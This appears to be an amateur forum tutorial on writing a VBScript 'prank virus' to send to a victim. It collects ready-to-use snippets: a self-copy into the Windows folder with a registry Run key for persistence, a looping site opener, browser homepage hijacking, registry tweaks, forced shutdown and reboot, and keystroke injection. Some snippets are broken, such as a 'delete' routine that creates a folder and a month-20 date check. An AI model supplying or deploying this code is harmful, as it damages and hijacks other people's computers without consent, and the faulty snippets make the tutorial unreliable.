Hi,

This is a little tutorial how to make a tiny harmless virus for amateur hackers who already know how to access into other peoples computer via Telnet or
Portscanner.

here's what you can do to make some tiny little troublesome virus:

1. Open Notepad

2. Paste some codes from here into the notepad ( for codes see below)

3.When You have paste all the codes that you like, you need to save the notepad as .vbs:


4. Now You Have a .vbs File , Send it to your victim and have fun!

Codes


Msgbox pop up
msgbox"message here "


Msgbox pop up with title
msgbox "message here",0,"title here"

QUeStIon + Answera=inputbox("Question ")
msgbox "Answer " +a+ " ..."


CD-Rom Open And Close
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If

Looping box
do (title Script here) loop

Virus Startup when turn on pc

If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"


Pauze in virus (1000 = 1sec)


Wscript.Sleep 1000


Change MSN Name! maybe dont work)
Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"


Site open with loop:
Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop

Make Map:

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Delete Map:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If


StartMenu ComeUp Slower/Faster(1000 = 1 sec):

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"

CHange Name Of Trash a.k.a recycled bin (vicitm can see it and can choice the name):

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If

Make Website as HomePage in your victim's computer:

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
SiteHere


PC Makes SOund[I like this one..xD]:

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True


Windows force shutdown, Restart AND Log off commands:


Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long

WIth 1 Of the codes

Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)

Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)


log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)

Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)




Sendkeys:


Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")



Make New Map in DIR:path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If


Open a File/force file opener:
Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")


Happy Hacking..^^